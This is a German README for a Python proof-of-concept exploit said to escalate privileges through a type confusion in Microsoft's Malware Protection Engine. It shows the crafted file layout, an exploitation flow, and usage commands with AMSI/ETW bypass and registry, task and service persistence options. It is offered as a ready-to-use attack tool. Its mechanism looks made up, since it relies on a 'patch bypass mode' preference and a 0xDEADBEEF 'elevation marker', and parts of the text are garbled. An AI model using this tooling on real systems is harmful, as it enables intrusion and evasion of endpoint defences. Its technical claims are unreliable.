
Python-Proof-of-Concept-Exploit für CVE-2026-69414, eine Typverwechslungs-Rechteausweitung in der Microsoft Malware Protection Engine, mit AMSI/ETW-Bypass und Persistenzoptionen.
CVE-2026-69414 ist eine Schwachstelle zur Rechteausweitung in der Microsoft Malware Protection Engine (Teil von Windows Defender / Microsoft Defender Antivirus), die öffentlich als „RoguePlanet" bezeichnet wird. Sie stellt einen Patch-Bypass der ursprünglichen Schwachstelle CVE-2026-50656 dar.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-69414 |
| Typ | Elevation of Privilege (EoP) |
| CVSS v3.1 (MSRC) | 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS v3.1 (NVD) | 7.0 (HIGH) — AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Angriffsvektor | Lokal |
| Erforderliche Berechtigungen | Niedrig |
| Benutzerinteraktion | Keine |
| Scope | Unverändert |
| Behobene Version | Engine 1.1.26080.3 |
| Ursprüngliche CVE | CVE-2026-50656 |
Die Microsoft Malware Protection Engine enthält eine Typverwechslung-Schwachstelle in ihrer Logik zur Verarbeitung von Scan-Anfragen. Bei der Verarbeitung eines manipulierten Datei-Headers oder einer Scan-Datenstruktur interpretiert die Engine den Typ eines Speicherbereichs falsch, was zu einem Out-of-Bounds-Lese-/Schreibvorgang führt.
Die Schwachstelle befindet sich in der internen Scan-Kontextstruktur der Engine, genauer gesagt in der Art und Weise, wie das Feld type gegen den für den aktuellen Scan-Vorgang erwarteten Typ validiert wird. Wenn eine Datei mit einem speziell manipulierten Header gescannt wird:
type des Headers (Byte 4)0x7F wird ein nicht behandelter Codepfad ausgelöstsize offset (Bytes 5-8)Der ursprüngliche Patch für CVE-2026-50656 versuchte, das Typfeld gegen eine Whitelist bekannter Typen zu validieren. Der Patch validierte das Typfeld jedoch nicht ordnungsgemäß in allen Codepfaden — insbesondere im asynchronen Scan-Handler (MpAsynchronousScan), der einen anderen Codepfad als der synchrone Scanner verwendet.
Der Exploit nutzt diese Lücke aus, indem er:
MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE setzt, um den Bypass zu aktivieren┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll) │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences: │
│ - PATCH_BYPASS_MODE = 1 │
│ - AMSI_RESULT = CLEAN (bypass AMSI) │
│ - DETECTION_VERBOSITY = 0 (bypass ETW) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with: │
│ - Magic: 0x4D500000 ("MP" + null) │
│ - Type: 0x7F (unhandled code path) │
│ - Size offset: 0x00001000 (OOB access) │
│ - Marker: 0xDEADBEEF (elevation indicator) │
│ - Checksum: XOR-based over payload │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan() │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges │
└─────────────────────────────────────────────────────────────────┘
Offset Size Description
------ ---- -----------
0x00 4 Magic: 0x4D500000 ("MP" + null padding)
0x04 1 Type: 0x7F (triggers unhandled code path)
0x05 4 Size offset: 0x00001000 (OOB access target)
0x09 4 Reserved (zero)
0x0D 4 Elevation marker: 0xDEADBEEF
0x11 4 Checksum: XOR-based over payload data
0x15 241 Reserved / padding
0x100 N Payload data (cmd.exe, PowerShell, etc.)
pywin32-Paket (für die COM-basierte Methode): pip install pywin32python3 exploit.py --analyze
python3 exploit.py --detect
python3 exploit.py --method com
python3 exploit.py --method direct-api
python3 exploit.py --method shellcode
python3 exploit.py --method fallback
| Option | Beschreibung |
|---|---|
--cmd CMD | Befehl, der bei Erfolg ausgeführt wird |
--target PATH | Pfad zur präparierten Datei (wird automatisch generiert, falls weggelassen) |
--analyze | Nur die Struktur der präparierten Datei analysieren |
--detect | Eigenschaften des Zielsystems erkennen |
--method METHOD | Ausnutzungsmethode (com, direct-api, shellcode, fallback) |
--multi-stage | Mehrstufigen Exploit verwenden |
--no-amsi | AMSI-Umgehung deaktivieren |
--no-etw | ETW-Umgehung deaktivieren |
--persist | Persistenz hinzufügen (registry, scheduled-task, service, all) |
--verbose | Ausführliche Ausgabe aktivieren |
# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"
# Run with persistence
python3 exploit.py --method com --persist all
# Multi-stage exploit
python3 exploit.py --method com --multi-stage
# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw
# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze
Der PoC wurde auf Windows 11 25H2 Canary und Windows Server 2025 mit einer gemeldeten Erfolgsquote von 100 % getestet. Es wird angenommen, dass Windows 10 anfällig ist, wurde in dieser Implementierung jedoch nicht getestet.